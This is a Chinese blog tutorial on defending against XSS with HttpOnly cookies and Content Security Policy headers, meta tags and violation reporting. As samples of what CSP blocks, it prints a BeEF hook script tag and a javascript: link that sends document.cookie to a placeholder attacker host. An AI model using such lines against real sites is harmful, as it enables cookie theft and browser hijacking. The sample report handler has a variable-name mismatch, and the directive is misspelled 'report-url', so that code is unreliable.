CSP内容安全检测

CSP内容安全检测

一、引入

对于xss的get-cookie攻击,可以在setcookie字段设置httponly属性限制js读取cookie,但并不能从根本上解决Xss攻击,xss不仅是去cookie

以后端php为例,添加httponly方法

1
2
3
4
5
6
7
8
9
10
11
12
方法一:在php.ini配置文件中进行cookie只读设置的开启(有效范围:全局)
session.cookie_httponly=On

方法二:在php代码顶部设置(有效范围:当前页面)
<?php
ini_set("session.cookie_httponly",1);
?>

方法三:在setcookie函数中第7个参数设置(有效范围:当前Cookie)
<?php
setcookie("mycookie","myvalue",time()+3600,'/','url',null,true);
?>

到时候响应包会有个 set-Cookie:字段啊

也可以对服务器的配置文件做其它操作,比如php文件,禁用它的一些函数啊

有什么办法能够直接让浏览器执行安全检查,杜绝xss攻击呢?

二、CSP内容安全策略

CSP,实质是白名单,明确告诉客户端哪些外部资源可以加载和执行,它的实现和执行全部交由浏览器完成。

1.通过http响应头信息的Content-Security-Policy字段

1
Content-Security-Policy:script-src 'self';object-src 'none';style-src cdn.example.org third-party.org; child-src https:

php中直接使用header()函数定义响应头即可

2.通过网页的meta标签

1
<meta http-equiv="Content-Security-Policy" content="script-src 'self';object-src 'none';style-src cdn.example.org third-party.org; child-src https:">

上面代码中,CSP配置如下

1
2
3
4
5
6
7
8
9
default-src:定义所有类型(js/image/css/front/ajax/iframe/多媒体等)资源的默认加载策略,如果某类型资源没有单独定义策略,就默认使用
script-src 'self',对于脚本:只信任当前域名,不加载外部的js
script-src 'self' http://www.xxx.com,可以加载xxx.com的js
object-src 'none',对于<object>标签:不信任任何URL,不加载任何资源
style-src,对于样式表,只信任后面两个网址
child-src https,对于框架(frame):必须使用https:协议加载
其它资源,未定义就默认用default-src

x-src,就是指定了前者的来源

启用后,不符合CSP的外部资源会被阻止加载

演示1:响应头添加

比如,我作为79的ip,访问了177的服务器的read.php文件,里面罗列了许多超链接,79点击了个超链接跳转,比如 read.php?id=24,这个链接其实是黑客45的钓鱼网址,黑客如果是说用了beef的话,可以监听到79的上线

因为?id=24

的内容有一个

1
2
...
<script src="http://xx.45:3000/hook.js"></script>

而如果服务器端read.php文件,添加了

1
header("Content-Security-Policy:script-src 'self'");

浏览器就会拦截咯,正常访问read.php?id=24,而不会触发**:3000/hook.js**,因为

script-src: http://..177

对这种也是可以拦截的

1
2
3
4
...
<a href='javascript:location.href="http://xx.45/xssrecv.php?url="+location.href+"&cookie="+document.cookie'>
<img src="图片url">
</a>

如果要访问xx.45怎么办

1
header("Content-Security-Policy:script-src 'self' http://xx.45");

还是拦截

这个牵扯到一个叫**行内访问的 **unsafe-inline

1
header("Content-Security-Policy:script-src 'self' http://xx.45 'unsafe-inline'");

演示2:report-url安全报告

用于向一个指定的服务器地址提交json格式的安全报告

1
Content-Security-Policy:script-src 'self';report-url http://xx.ip/../cspreport.php

一旦访问到受攻击页面并触发了脚本执行,浏览器除了组织攻击脚本执行外,还会按照以下JSON格式提交安全报告内容

1
2
3
4
5
6
7
8
9
10
11
12
{
"csp-report":{
"document-uri":"..."
"referer":""
...
"original-policy":"script-src 'self'; report-uri http://xx.ip/../cspreport.php "
"disposition":"enforce" //强制
"blocked-uti":"http://xx.43:3000/hook.js"//阻止
"status-code":200
...
}
}

cspreport.php如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

$time=date('Y-m-d H:i:s');
$file=fopen('upload/cspreport.txt','a');//追加方式打开文件
//这个upload文件夹要有写权限

$date=file_get_contents('php://input'); //利用伪协议取得POST请求内容

$json=json_decode($data,true);//将json处理成php熟悉的关联数组
fwrite($file,'report-time:'.$time."\r\n");// \r\n必须在双引号中
foreach($json['csp-report'] as $key=>$value){
fwrite($file,$key.":".$value."\r\n");
}
fwrite($file,"\r\n----\r\n\r\n");
fclose($file);


?>

在你要访问的read.php中添加header

1
header("Content-Security-Policy:script-src 'self';report-url http://服务器ip/../cspreport.php");

这样如果,访问页面时,加载了服务器ip之外的外部资源,会被拦截,同时在服务器下生成报告,(我没搭建那个环境,没有)

需要设置报告所在的目录为可写路径,或者直接将其遍历存进数据库

设置响应头的Content-Security-Policy-Report-Only字段,可以不拦截,只上报

演示3:全局配置

演示2,只对单独页面进行了配置

全局的话,对web服务器的配置文件httpd.conf修改(Apache)

1
Header set Content-Security-Policy "default-src 'self';report-url http://服务器ip/../cspreport.php"

或Server节点(Nginx)添加

DVWA靶场

有一个csp 绕过,低级中级可以看看,

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2023-2025 是羽泪云诶
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信